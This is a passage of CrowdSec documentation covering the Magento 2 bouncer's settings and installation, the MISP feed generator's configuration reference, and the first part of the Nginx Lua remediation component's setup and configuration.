bouncer on Frontend area` (`store view` scope) Choose which store views you want to protect. *** `Bouncing โ†’ Enable bouncer on Adminhtml area` (`global` scope) Choose if you want to protect admin too. *** `Bouncing โ†’ Enable bouncer on API areas` (`global` scope) Choose if you want to protect REST, SOAP and GraphQL endpoints. **N.B** : For API calls, there will be no ban or captcha wall. User will receive a `401` (ban) or `403` (captcha) response code. *** `Bouncing โ†’ Bouncing level` (`store view` scope) Choose if you want to apply CrowdSec directives (Normal bouncing) or be more permissive (Flex bouncing). With the `Flex mode`, it is impossible to accidentally block access to your site to people who donโ€™t deserve it. This mode makes it possible to never ban an IP but only to offer a Captcha, in the worst-case scenario. *** #### Theme customizations[โ€‹](#theme-customizations "Direct link to Theme customizations") In the `Theme customizations` part, you can modify texts and colors of ban and captcha walls. All fields here are store view scoped, so you can use different languages and designs. ![Captcha wall customization](/img/bouncer/magento/screenshots/config-captcha-wall.jpg "Captcha wall customization") ![Ban wall customization](/img/bouncer/magento/screenshots/config-ban-wall.jpg "Ban wall customization") ![Wall CSS](/img/bouncer/magento/screenshots/config-css.jpg "Wall CSS") #### Advanced settings[โ€‹](#advanced-settings "Direct link to Advanced settings") In the `Advanced settings` part, you can enable/disable the stream mode, choose your cache system for your CrowdSec Local API, handle your remediation policy and adjust some debug and log parameters. ![Communication mode](/img/bouncer/magento/screenshots/config-communication-mode.jpg "Communication mode") *** `Communication mode to the API โ†’ Enable the stream mode` (`global` scope) Choose if you want to enable the `stream mode` or stay in `live mode`. By default, the `live mode` is enabled. The first time a stranger connects to your website, this mode means that the IP will be checked directly by the CrowdSec API. The rest of your userโ€™s browsing will be even more transparent thanks to the fully customizable cache system. But you can also activate the `stream mode`. This mode allows you to constantly feed the bouncer with the malicious IP list via a background task (CRON), making it to be even faster when checking the IP of your visitors. Besides, if your site has a lot of unique visitors at the same time, this will not influence the traffic to the API of your CrowdSec instance. *** `Communication mode to the API โ†’ Cron expression for cache refresh` (`global` scope) With the stream mode, every decision is retrieved in an asynchronous way. Here you can define the frequency of this cache refresh. **N.B** : There is also a refresh button if you want to refresh the cache manually. *** ![Cache](/img/bouncer/magento/screenshots/config-cache.jpg "Cache") *** `Cache configuration โ†’ Technology` (`global` scope) Choose the cache technology that will use your CrowdSec Local API. The File system cache is faster than calling Local API. Redis or Memcached is faster than the File System cache. **N.B** : There are also a clear cache button fo all cache technologies and a prune cache button dedicated to the file system cache. *** `Cache configuration โ†’ Cron expression for file system cache pruning` (`global` scope) If you chose file system as cache technology, you can schedule here an automatic cache pruning cron task. *** `Cache configuration โ†’ Redis DSN` (`global` scope) Only if you choose Redis cache as technology. Example of DSN: redis\://localhost:6379. *** `Cache configuration โ†’ Memcached DSN` (`global` scope) Only if you choose Memcached cache as technology. Example of DSN: memcached://localhost:11211. *** `Cache configuration โ†’ Clean IPs cache duration` (`global` scope) The duration between re-asking Local API about an already checked clean IP. Minimum 1 second. Note that this setting can not be apply in stream mode. *** `Cache configuration โ†’ Bad IPs cache duration` (`global` scope) The duration between re-asking Local API about an already checked bad IP. Minimum 1 second. Note that this setting can not be apply in stream mode. *** `Cache configuration โ†’ Captcha flow cache duration` (`global` scope) The lifetime of cached captcha flow for some IP. If a user has to interact with a captcha wall, we store in cache some values in order to know if he has to resolve or not the captcha again. Minimum 1 second. *** `Cache configuration โ†’ Geolocation cache duration` (`global` scope) The lifetime of cached country result for some IP. Note that this setting can not be apply only if the `Geolocation โ†’ Save geolocation country result in cache` below is enabled. Minimum 1 second. *** ![Geolocation](/img/bouncer/magento/screenshots/config-geolocation.jpg "Geolocation") *** `Geolocation โ†’ Enable geolocation feature` (`global` scope) Enable if you want to handle CrowdSec country scoped decisions. *** `Geolocation โ†’ Save geolocation country result in cache` (`global` scope) Enabling this option will avoid multiple call to the geolocation system (e.g. MaxMind database). *** `Geolocation โ†’ Geolocation type` (`global` scope) At this time, only MaxMind type is allowed. *** `Geolocation โ†’ MaxMind database type` (`global` scope) Choose between `Country` and `City` depending on your MaxMind database. *** `Geolocation โ†’ MaxMind database path` (`global` scope) Relative path to the `var` folder of your Magento 2 instance. *** **N.B** : There is also a test button if you want to test your geolocation settings. ![Remediations](/img/bouncer/magento/screenshots/config-remediations.jpg "Remediations") *** `Remediations โ†’ Fallback to` (`global` scope) Choose which remediation to apply when CrowdSec advises unhandled remediation. *** `Remediations โ†’ Trust these CDN Ips` (`global` scope) If you use a CDN, a reverse proxy or a load balancer, it is possible to indicate in the bouncer settings the IP ranges of these devices in order to be able to check the IP of your users. For other IPs, the bouncer will not trust the X-Forwarded-For header. *** `Remediations โ†’ Hide CrowdSec mentions` (`global` scope) Enable if you want to hide CrowdSec mentions on the Ban and Captcha walls. *** ![Debug](/img/bouncer/magento/screenshots/config-debug.jpg "Debug") *** `Configure the debug mode โ†’ Enable debug log` (`global` scope) Enable if you want to see some debug information in a specific log file. *** `Configure the debug mode โ†’ Display bouncings errors` (`global` scope) When this mode is enabled, you will see every unexpected bouncing errors in the browser. *** `Configure the debug mode โ†’ Disable prod log` (`global` scope) The prod log is lighter than the debug log. But you can disable it here. *** `Configure the debug mode โ†’ Forced test IP` (`global` scope) For test purpose only. If not empty, this IP will be used for all remediations and geolocation processes. *** `Configure the debug mode โ†’ Forced test forwarded IP` (`global` scope) For test purpose only. This IP will be used instead of the current `X-Forwarded-For` IP if any. *** #### Events[โ€‹](#events "Direct link to Events") In the `Events` part, you can enable business events logging. Using it in combination to a specific CrowdSec scenario allows detecting suspicious behavior as credential or credit card stuffing. ![Events](/img/bouncer/magento/screenshots/config-event.jpg "Events") *** `Logging โ†’ Enable events log` (`global` scope) If enabled, logs will be written in a `var/log/crowdsec-events.log` file. *** `Logging โ†’ Track customer registration` (`global` scope) Will be used to detect suspicious account creation. *** `Logging โ†’ Track customer login` (`global` scope) Will be used to detect credential stuffing. *** `Logging โ†’ Track admin user login` (`global` scope) Will be used to detect admin brute attacks. *** `Logging โ†’ Track add to cart process` (`global` scope) Will be used to detect suspicious behaviour with add to cart action. *** `Logging โ†’ Track order process` (`global` scope) Will be used to detect suspicious behaviour, as credit card stuffing, on order action. ### Auto Prepend File mode[โ€‹](#auto-prepend-file-mode "Direct link to Auto Prepend File mode") By default, this extension will bounce every web requests: e.g requests called from webroot `index.php`. This implies that if another php public script is called (`cron.php` if accessible for example, or any of your custom public php script) bouncing will not be effective. To ensure that any php script will be bounced if called from a browser, you should try the `auto prepend file` mode. In this mode, every browser access to a php script will be bounced. To enable the `auto prepend file` mode, you have to: * copy the `crowdsec-prepend.php.example` file in your Magento 2 `app/etc` folder and rename it `crowdsec-prepend.php` * configure your server by adding an `auto_prepend_file` directive for your php setup. **N.B:** * Beware that you have to copy the file before modifying your PHP configuration,or you will get a PHP fatal error. * Note that if you upgrade the bouncer module, you should have to copy the file again. To make this copy automatically, you should modify the root `composer.json` of your Magento 2 projects by adding `post-install-cmd` and `post-update-cmd` to the scripts parts: TEXTCOPY ``` "scripts": { "post-install-cmd": [ "php -r \"copy('vendor/crowdsec/magento2-module-bouncer/crowdsec-prepend.php.example','app/etc/crowdsec-prepend.php');\"" ], "post-update-cmd": [ "php -r \"copy('vendor/crowdsec/magento2-module-bouncer/crowdsec-prepend.php.example','app/etc/crowdsec-prepend.php');\"" ] } ``` Adding an `auto_prepend_file` directive can be done in different ways: #### PHP[โ€‹](#php "Direct link to PHP") You should add this line to a `.ini` file : auto\_prepend\_file = /magento2-root-directory/app/etc/crowdsec-prepend.php #### Nginx[โ€‹](#nginx "Direct link to Nginx") If you are using Nginx, you should modify your Magento 2 nginx configuration file by adding a `fastcgi_param` directive. The php block should look like below: TEXTCOPY ``` location ~ \.php$ { ... ... ... fastcgi_param PHP_VALUE "/magento2-root-directory/app/etc/crowdsec-prepend.php"; } ``` #### Apache[โ€‹](#apache "Direct link to Apache") If you are using Apache, you should add this line to your `.htaccess` file: php\_value auto\_prepend\_file "/magento2-root-directory/app/etc/crowdsec-prepend.php" ## Installation[โ€‹](#installation "Direct link to Installation") ### Requirements[โ€‹](#requirements "Direct link to Requirements") * Magento >= 2.3 ### Composer installation[โ€‹](#composer-installation "Direct link to Composer installation") Use `Composer` by simply adding `crowdsec/magento2-module-bouncer` as a dependency: composer require crowdsec/magento2-module-bouncer ### Post Installation[โ€‹](#post-installation "Direct link to Post Installation") #### Enable the module[โ€‹](#enable-the-module "Direct link to Enable the module") After the installment of the module source code, the module has to be enabled by the Magento 2 CLI. bin/magento module:enable CrowdSec\_Bouncer #### System Upgrade[โ€‹](#system-upgrade "Direct link to System Upgrade") After enabling the module, the Magento 2 system must be upgraded. If the system mode is set to production, run the compile command first. This is not necessary for the developer mode. bin/magento setup:di:compile Then run the upgrade command: bin/magento setup:upgrade #### Clear Cache[โ€‹](#clear-cache "Direct link to Clear Cache") The Magento 2 cache should be cleared by running the flush command. bin/magento cache:flush #### Deploy static content[โ€‹](#deploy-static-content "Direct link to Deploy static content") At last, you have to deploy the static content: bin/magento setup:static-content:deploy -f ### Troubleshooting[โ€‹](#troubleshooting "Direct link to Troubleshooting") #### Higher matching error[โ€‹](#higher-matching-error "Direct link to Higher matching error") If a new version `y.y.y` has been published in Packagist and the Marketplace review process of this version is still in progress, you could encounter the following error during installation on update: > Higher matching version y.y.y of crowdsec/magento2-module-bouncer was found in public repository packagist.org than x.x.x in private . Public package might've been taken over by a malicious entity, please investigate and update package requirement to match the version from the private repository This error is due to the `magento/composer-dependency-version-audit-plugin` composer plugin introduced in Magento `2.4.3` as a security measure [against Dependency Confusion attacks](https://support.magento.com/hc/en-us/articles/4410675867917-Composer-plugin-against-Dependency-Confusion-attacks). ##### Install the latest Marketplace release[โ€‹](#install-the-latest-marketplace-release "Direct link to Install the latest Marketplace release") To avoid this error and install the latest known Marketplace release `x.x.x`, you could run: SHCOPY ``` composer require crowdsec/magento2-module-bouncer --no-plugins ``` ##### Install the latest Packagist release[โ€‹](#install-the-latest-packagist-release "Direct link to Install the latest Packagist release") To avoid this error and install the latest known Packagist release `y.y.y`, you could modify the root `composer.json` of your Magento project by setting the `repo.magento.com` repository as non-canonical: TEXTCOPY ``` "repositories": { "0": { "type": "composer", "url": "https://repo.magento.com/", "canonical": false } }, ``` And then run the same command: SHCOPY ``` composer require crowdsec/magento2-module-bouncer --no-plugins ``` As an alternative, you can also exclude the `crowdsec/magento2-module-bouncer` from the `repo.magento.com` repository: TEXTCOPY ``` "repositories": { "0": { "type": "composer", "url": "https://repo.magento.com/", "exclude": ["crowdsec/magento2-module-bouncer"] } }, ``` Thus, running `composer require crowdsec/magento2-module-bouncer` will always pick up the latest `y.y.y` Packagist release. ## Technical notes[โ€‹](#technical-notes "Direct link to Technical notes") See [Technical notes](https://github.com/crowdsecurity/cs-magento-bouncer/blob/main/doc/TECHNICAL_NOTES.md) ## Developer guide[โ€‹](#developer-guide "Direct link to Developer guide") See [Developer guide](https://github.com/crowdsecurity/cs-magento-bouncer/blob/main/doc/DEVELOPER.md) --- # MISP Feed Generator ![CrowdSec](/img/bouncer/misp_feed_generator/logo.png "CrowdSec") ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#installation/) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) ModeStream only MetricsUnsupported MTLSUnsupported PrometheusUnsupported This Remediation Component generates MISP Feed from CrowdSec decisions. It exposes this Feed over HTTP/S. This can be used to feed CrowdSec decisions to MISP using the "Feeds" functionality of MISP. ## Quick Start[โ€‹](#quick-start "Direct link to Quick Start") ### Installation using pip[โ€‹](#installation-using-pip "Direct link to Installation using pip") Make sure you've Python 3.6+ installed. Using virtualenv is recommended. Run the following command to install the feed generator. SHCOPY ``` pip install crowdsec-misp-feed-generator ``` ### Installation using docker:[โ€‹](#installation-using-docker "Direct link to Installation using docker:") Refer to docker [hub docs](https://hub.docker.com/r/crowdsecurity/misp-feed-generator) ### Configuration[โ€‹](#configuration "Direct link to Configuration") Run the following command to generate the base configuration file: SHCOPY ``` crowdsec-misp-feed-generator -g > crowdsec-misp-feed-generator.yaml ``` This will generate a configuration file named `crowdsec-misp-feed-generator.yaml` in the current directory. You need to edit this file to configure the feed generator. Make sure you give the correct LAPI key and URL. You can generate a LAPI key using the following command on the machine with CrowdSec installed. SHCOPY ``` cscli bouncers add crowdsec-misp-feed-generator ``` Please refer to [configuration reference section](#configuration-reference) for more details on the configuration options. ### Running the feed generator[โ€‹](#running-the-feed-generator "Direct link to Running the feed generator") After configuring the feed generator, you can run it using the following command: SHCOPY ``` crowdsec-misp-feed-generator -c crowdsec-misp-feed-generator.yaml ``` This will start the feed generator and expose the feed over HTTP/S, on the configured port and address. ### Setting MISP to use the feed[โ€‹](#setting-misp-to-use-the-feed "Direct link to Setting MISP to use the feed") You can now configure MISP to use this feed. To do this: 1. Navigate to the "Feeds" tab in MISP. ![MISP Feeds](/assets/images/misp_feed_opt-7dc20fb77a80c8e1c0fb35ec73f1c6c3.png) 2. Click on the "Add Feed" button. ![MISP Add Feed](/assets/images/misp_feed_add_menu-c75e6f3b663ef809fa0bb76c5d0783cd.png) Fill the form with appropriate details. Don't forget to set the authentication if you've enabled it in the feed generator configuration. 3. That's it! You can now use the feed in MISP. You can test it by clicking on the "Fetch now" button in the actions column. Few events should be added to MISP. ## Configuration Reference[โ€‹](#configuration-reference "Direct link to Configuration Reference") YAMLCOPY ``` # CrowdSec Config crowdsec_lapi_url: http://localhost:8080/ crowdsec_lapi_key: crowdsec_update_frequency: 1m include_scenarios_containing: [] # ignore IPs banned for triggering scenarios not containing either of provided word, eg ["ssh", "http"] exclude_scenarios_containing: [] # ignore IPs banned for triggering scenarios containing either of provided word only_include_decisions_from: [] # only include IPs banned due to decisions orginating from provided sources. eg value ["cscli", "crowdsec"] # MISP Config misp_feed_reset_frequency: 1w misp_event_analysis_level: 2 misp_feed_orgc: name: CrowdSec uuid: 5f6e7b5a-6b1a-4c0e-8a3c-9b9c5a474e8c misp_feed_threat_level_id: 4 misp_feed_published: false misp_feed_tags: [] # Component Config output_dir: ./crowdsec-misp-feed/ # Component Server Config listen_addr: 0.0.0.0 listen_port: 2450 tls: enabled: false cert_file: "" key_file: "" basic_auth: enabled: false username: "" password: "" # Log Config log_level: info # debug, info, warning, error log_mode: stdout # stdout, stderr, file ``` ### `crowdsec_lapi_url`[โ€‹](#crowdsec_lapi_url "Direct link to crowdsec_lapi_url") > string The URL of CrowdSec LAPI. It should be accessible from the component. ### `crowdsec_lapi_key`[โ€‹](#crowdsec_lapi_key "Direct link to crowdsec_lapi_key") > string It can be obtained by running the following on the machine CrowdSec LAPI is deployed on. SHCOPY ``` sudo cscli -oraw bouncers add misp-feed-generator # -oraw flag can discarded for human friendly output. ``` ### `crowdsec_update_frequency`[โ€‹](#crowdsec_update_frequency "Direct link to crowdsec_update_frequency") > string The component will poll the CrowdSec every `update_frequency` interval. Value can be in seconds (eg 30s), minutes (eg 5m), hours (eg 1h), days (eg 1d), weeks (eg 1w), months (eg 1M) or years (eg 1y). ### `include_scenarios_containing`[โ€‹](#include_scenarios_containing "Direct link to include_scenarios_containing") > \[ ]string Ignore IPs banned for triggering scenarios not containing either of provided word. Example YAMLExampleCOPY ``` include_scenarios_containing: ["ssh", "http"] ``` ### `exclude_scenarios_containing`[โ€‹](#exclude_scenarios_containing "Direct link to exclude_scenarios_containing") > \[ ]string Ignore IPs banned for triggering scenarios containing either of provided word. Example YAMLExampleCOPY ``` exclude_scenarios_containing: ["ssh", "http"] ``` ### `only_include_decisions_from`[โ€‹](#only_include_decisions_from "Direct link to only_include_decisions_from") > \[ ]string Only include IPs banned due to decisions orginating from provided sources. Example YAMLExampleCOPY ``` only_include_decisions_from: ["cscli", "crowdsec"] ``` ### `misp_feed_reset_frequency`[โ€‹](#misp_feed_reset_frequency "Direct link to misp_feed_reset_frequency") > string The component will reset the feed every `misp_feed_reset_frequency` interval. Value can be in seconds (eg 30s), minutes (eg 5m), hours (eg 1h), days (eg 1d), weeks (eg 1w), months (eg 1M) or years (eg 1y). ### `misp_event_analysis_level`[โ€‹](#misp_event_analysis_level "Direct link to misp_event_analysis_level") > int The analysis level of the events generated. Refer to [MISP docs](https://github.com/MISP/misp-rfc/blob/243bec4f5b7c42f5c450c71b092032f431b56f25/misp-core-format/raw.md.txt#L216) for more details. ### `misp_feed_orgc`[โ€‹](#misp_feed_orgc "Direct link to misp_feed_orgc") > object The author organisation of the feed. Example YAMLExampleCOPY ``` misp_feed_orgc: name: CrowdSec uuid: 5f6e7b5a-6b1a-4c0e-8a3c-9b9c5a474e8c ``` #### `name`[โ€‹](#name "Direct link to name") > string The name of author organisation of the feed. #### `uuid`[โ€‹](#uuid "Direct link to uuid") > string The UUID of author organisation of the feed. ### `misp_feed_threat_level_id`[โ€‹](#misp_feed_threat_level_id "Direct link to misp_feed_threat_level_id") > int The threat level of the feed. Refer to [MISP docs](https://github.com/MISP/misp-rfc/blob/243bec4f5b7c42f5c450c71b092032f431b56f25/misp-core-format/raw.md.txt#L201). Example YAMLExampleCOPY ``` misp_feed_threat_level_id: 4 ``` ### `misp_feed_published`[โ€‹](#misp_feed_published "Direct link to misp_feed_published") > boolean Whether the feed is published or not. Refer to [MISP docs](https://github.com/MISP/misp-rfc/blob/243bec4f5b7c42f5c450c71b092032f431b56f25/misp-core-format/raw.md.txt#L183). Example YAMLExampleCOPY ``` misp_feed_published: false ``` ### `misp_feed_tags`[โ€‹](#misp_feed_tags "Direct link to misp_feed_tags") > \[ ]object The tags to be added to the events generated by the feed. Refer to [MISP docs](https://github.com/MISP/misp-rfc/blob/243bec4f5b7c42f5c450c71b092032f431b56f25/misp-core-format/raw.md.txt#L1715). Example YAMLExampleCOPY ``` misp_feed_tags: [{"exportable": true,"colour": "#ffffff","name": "tlp:white","id": "2" }] ``` output\_dir: ./crowdsec-misp-feed/ ### `listen_addr`[โ€‹](#listen_addr "Direct link to listen_addr") > string The address to listen on for serving the feed. Example YAMLExampleCOPY ``` listen_addr: "0.0.0.0" ``` ### `listen_port`[โ€‹](#listen_port "Direct link to listen_port") > string The port to listen on for serving the feed. Example YAMLExampleCOPY ``` listen_port: 2450 ``` ### `tls`[โ€‹](#tls "Direct link to tls") > object TLS configuration for serving the feed. Example YAMLExampleCOPY ``` tls: enabled: false cert_file: "/etc/ssl/certs/crowdsec-misp-feed-generator.crt" key_file: "/etc/ssl/private/crowdsec-misp-feed-generator.key" ``` #### `enabled`[โ€‹](#enabled "Direct link to enabled") > boolean Whether to enable TLS for serving the feed. #### `cert_file`[โ€‹](#cert_file "Direct link to cert_file") > string (path to file) The path to the certificate file. #### `key_file`[โ€‹](#key_file "Direct link to key_file") > string (path to file) The path to the key file. ### `basic_auth`[โ€‹](#basic_auth "Direct link to basic_auth") > object Basic authentication configuration for serving the feed. Example YAMLExampleCOPY ``` basic_auth: enabled: false username: "" password: "" ``` #### `enabled`[โ€‹](#enabled-1 "Direct link to enabled-1") > boolean Whether to enable basic authentication for serving the feed. #### `username`[โ€‹](#username "Direct link to username") > string Username for basic authentication. Example YAMLExampleCOPY ``` basic_auth: username: "crowdsec" ``` #### `password`[โ€‹](#password "Direct link to password") > string Password for basic authentication. Example YAMLExampleCOPY ``` basic_auth: password: "myh@rdt0gu3sspassw0rd" ``` ### `log_level`[โ€‹](#log_level "Direct link to log_level") > debug | info | warning | error The log level for the component. Example YAMLExampleCOPY ``` log_level: info ``` ### `log_mode`[โ€‹](#log_mode "Direct link to log_mode") > stdout | stderr | file The log mode for the component. --- # Nginx ![CrowdSec](/img/crowdsec_nginx.svg "CrowdSec") ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#installation/) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) AppSecSupported ModeLive & Stream MetricsSupported MTLSSupported PrometheusUnsupported A lua Remediation Component for nginx. Enable the WAF for optimal protection After installing the bouncer, enable the [AppSec (WAF) Component](https://docs.crowdsec.net/docs/next/appsec/intro.md) to get virtual patching and defense against known CVEs, SQL injection, XSS, and other application-layer attacks. Follow the dedicated [AppSec Quickstart for Nginx/OpenResty](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty.md) โ€” it picks up right where this page ends. ## How does it work ?[โ€‹](#how-does-it-work- "Direct link to How does it work ?") This component leverages nginx lua's API, namely `access_by_lua_block` to check the IP address against the local API. Supported features: * Live mode (query the local API for each request) * Stream mode (pull the local API for new/old decisions every X seconds) * Ban remediation (can ban an IP address by redirecting him or returning a custom HTML page) * Captcha remediation (can return a captcha) * Works with IPv4/IPv6 * Support IP ranges (can apply a remediation on an IP range) * Application Security Component (forward request to CrowdSec Application Security Engine and block is necessary) At the back, this component uses [crowdsec lua lib](https://github.com/crowdsecurity/lua-cs-bouncer/). ## Installation[โ€‹](#installation "Direct link to Installation") ### Dependencies[โ€‹](#dependencies "Direct link to Dependencies") Install the following packages: SHCOPY ``` sudo apt install nginx lua5.1 libnginx-mod-http-lua luarocks gettext-base lua-cjson ``` warning If you have Unbuntu 22.xx, you may have an issue with `lua` module in nginx.
Look at [FAQ for more information](#ubuntu-22xx-getting-lua-error). ### Using packages[โ€‹](#using-packages "Direct link to Using packages") First, [setup crowdsec repositories](https://docs.crowdsec.net/u/getting_started/installation/linux.md#repository-installation). * Debian/Ubuntu SHCOPY ``` sudo apt install crowdsec-nginx-bouncer ``` info In stream mode, the component will launch an internal timer to pull the local API at the first request made to the server. ### Manual installation[โ€‹](#manual-installation "Direct link to Manual installation") warning CrowdSec NGINX component depends on `nginx lua5.1 libnginx-mod-http-lua luarocks gettext-base`. It has been tested only on Debian/Ubuntu based distributions. Download the latest release [here](https://github.com/crowdsecurity/cs-nginx-bouncer/releases) SHCOPY ``` tar xvzf crowdsec-nginx-bouncer.tgz cd crowdsec-nginx-bouncer-v*/ ./install.sh ``` Note: Don't run the script with `sudo` (the script already use `sudo` to install dependencies). If you are on a mono-machine setup, the `crowdsec-nginx-bouncer` install script will register directly to the local crowdsec, so you're good to go ! โš ๏ธ the installation script will take care of dependencies for Debian/Ubuntu non-debian based dependencies * libnginx-mod-http-lua : nginx lua support * lua5.1: Lua * lua-cjson: JSON parser/encoder for Lua * luarocks : Lua package manager * gettext-base: for the installation script ## Enable the WAF (AppSec Component)[โ€‹](#enable-the-waf-appsec-component "Direct link to Enable the WAF (AppSec Component)") For real-time WAF protection โ€” virtual patching, defense against known CVEs, SQLi, XSS, and other application-layer attacks โ€” turn on the AppSec Component after installing the bouncer. Recommended: enable the WAF for optimal protection Follow the [AppSec Quickstart for Nginx/OpenResty](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty.md) to enable the WAF. It's a few copy-paste commands and picks up right where this installation ends. The AppSec-related knobs in `/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf` are documented in the [Configuration Reference](#configuration-reference) below (all `APPSEC_*` entries). ## Upgrade[โ€‹](#upgrade "Direct link to Upgrade") ### From package[โ€‹](#from-package "Direct link to From package") SHCOPY ``` sudo apt-get update sudo apt-get install crowdsec-nginx-bouncer ``` warning Upgrade from v0 to v1 introduce many changes. Pick up the maintainer configuration to avoid anything breaking. Configuration migration might not be trivial. ### Manual Upgrade[โ€‹](#manual-upgrade "Direct link to Manual Upgrade") If you already have `crowdsec-nginx-bouncer` installed, please download the [latest release](https://github.com/crowdsecurity/cs-nginx-bouncer/releases) and run the following commands: SHCOPY ``` tar xzvf crowdsec-nginx-bouncer.tgz cd crowdsec-nginx-bouncer-v*/ sudo ./upgrade.sh sudo systemctl restart nginx ``` ## Configuration[โ€‹](#configuration "Direct link to Configuration") ### Component configuration[โ€‹](#component-configuration "Direct link to Component configuration") /etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf SH/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.confCOPY ``` API_URL= API_KEY= # bounce for all type of remediation that the remediation can receive from the local API BOUNCING_ON_TYPE=all # when the remediation receive an unknown remediation, fallback to this remediation FALLBACK_REMEDIATION=ban MODE=stream REQUEST_TIMEOUT=1000 # exclude the bouncing on those location EXCLUDE_LOCATION= # process internal request (eg, rewrite) ENABLE_INTERNAL=false # Cache expiration in live mode, in second CACHE_EXPIRATION=1 # Update frequency in stream mode, in second UPDATE_FREQUENCY=10 #those apply for "ban" action # /!\ REDIRECT_LOCATION and BAN_TEMPLATE_PATH/RET_CODE can't be used together. REDIRECT_LOCATION take priority over RET_CODE AND BAN_TEMPLATE_PATH BAN_TEMPLATE_PATH=/var/lib/crowdsec/lua/templates/ban.html REDIRECT_LOCATION= RET_CODE= #those apply for "captcha" action #valid providers are recaptcha, hcaptcha, turnstile CAPTCHA_PROVIDER= # default is recaptcha to ensure backwards compatibility # Captcha Secret Key SECRET_KEY= # Captcha Site key SITE_KEY= CAPTCHA_TEMPLATE_PATH=/var/lib/crowdsec/lua/templates/captcha.html CAPTCHA_EXPIRATION=3600 # mTLS Configuration USE_TLS_AUTH=false TLS_CLIENT_CERT= TLS_CLIENT_KEY= ## Application Security Component Configuration APPSEC_URL= #### default ### APPSEC_FAILURE_ACTION=passthrough APPSEC_CONNECT_TIMEOUT=100 APPSEC_SEND_TIMEOUT=100 APPSEC_PROCESS_TIMEOUT=1000 ALWAYS_SEND_TO_APPSEC=false APPSEC_DROP_UNREADABLE_BODY=false SSL_VERIFY=true ################ ``` Any `/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf.local` content will take precedence over `/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf`. All fields don't have to be present in this `.local.` file. ### NGINX Configuration[โ€‹](#nginx-configuration "Direct link to NGINX Configuration") The Remediation Component NGINX configuration is located in `/etc/nginx/conf.d/crowdsec_nginx.conf` : /etc/nginx/conf.d/crowdsec\_nginx.conf SH/etc/nginx/conf.d/crowdsec\_nginx.confCOPY ``` lua_package_path '/usr/local/lua/crowdsec/?.lua;;'; lua_shared_dict crowdsec_cache 50m; lua_ssl_trusted_certificate /etc/ssl/certs/ca-certificates.crt; init_by_lua_block { cs = require "crowdsec" local ok, err = cs.init("/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf", "crowdsec-nginx-bouncer/v1.1.3") if ok == nil then ngx.log(ngx.ERR, "[Crowdsec] " .. err) error() end ngx.log(ngx.ALERT, "[Crowdsec] Initialisation done") } map $server_addr $unix { default 0; "~unix:" 1; } access_by_lua_block { local cs = require "crowdsec" if ngx.var.unix == "1" then ngx.log(ngx.DEBUG, "[Crowdsec] Unix socket request ignoring...") else cs.Allow(ngx.var.remote_addr) end } init_worker_by_lua_block { cs = require "crowdsec" local mode = cs.get_mode() if string.lower(mode) == "stream" then ngx.log(ngx.INFO, "Initializing stream mode for worker " .. tostring(ngx.worker.id())) cs.SetupStream() end if ngx.worker.id() == 0 then ngx.log(ngx.INFO, "Initializing metrics for worker " .. tostring(ngx.worker.id())) cs.SetupMetrics() end } ``` The component uses [lua\_shared\_dict](https://github.com/openresty/lua-nginx-module#lua_shared_dict) to share cache between all workers. If you want to increase the cache size you need to change this value `lua_shared_dict crowdsec_cache 50m;`. โš ๏ธ Do not rename the `crowdsec_cache` shared dict, else the component will not work anymore. #### When using captcha remediation[โ€‹](#when-using-captcha-remediation "Direct link to When using captcha remediation") To make HTTP request in the component, you need to configure a resolver and ssl certifcates. Here is a [our example](#resolver-and-certificates). To make secure HTTP request in the component, we need to specify a trusted certificate (`lua_ssl_trusted_certificate`). You can also change this with a valid one : TEXTCOPY ``` - /etc/ssl/certs/ca-certificates.crt (Debian/Ubuntu/Gentoo) - /etc/pki/tls/certs/ca-bundle.crt (Fedora/RHEL 6) - /etc/ssl/ca-bundle.pem (OpenSUSE) - /etc/pki/tls/cacert.pem (OpenELEC) - /etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem (CentOS/RHEL 7) - /etc/ssl/cert.pem (OpenBSD, Alpine) ``` ### Application Security Component Configuration[โ€‹](#application-security-component-configuration "Direct link to Application Security Component Configuration") To turn on the WAF, follow the [AppSec Quickstart for Nginx/OpenResty](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty.md). The AppSec-related options in `/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf`: /etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf SH/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.confCOPY ``` # Mandatory - set to enable AppSec APPSEC_URL=http://127.0.0.1:7422 # Optional APPSEC_FAILURE_ACTION=passthrough # default APPSEC_CONNECT_TIMEOUT=100 # default APPSEC_SEND_TIMEOUT=100 # default APPSEC_PROCESS_TIMEOUT=1000 # default ALWAYS_SEND_TO_APPSEC=false # default APPSEC_DROP_UNREADABLE_BODY=false # default SSL_VERIFY=true # default ``` warning Due to limitations in the underlying library used by the remediation component, by default, the body of any HTTP2/HTTP3 request without a Content-Length will not be analyzed. To avoid potential bypasses of the WAF, you can set the option `APPSEC_DROP_UNREADABLE_BODY` to `true` to drop any request whose body cannot be inspected. ### Setup captcha[โ€‹](#setup-captcha "Direct link to Setup captcha") > Currently, we have support for 3 providers: recaptcha, hcaptcha or turnstile If you want to use captcha with your Nginx, you must provide a Site key and Secret key in your component configuration. If you wish to use any other provider than recaptcha you must also provide a Captcha provider. ([recaptcha documentation](https://developers.google.com/recaptcha/intro)). ([tunstile documentation](https://developers.cloudflare.com/turnstile/)). ([hcaptcha documentation](https://docs.hcaptcha.com/)) Edit `etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf` and configure the following options: SHCOPY ``` CAPTCHA_PROVIDER= SECRET_KEY= SITE_KEY= 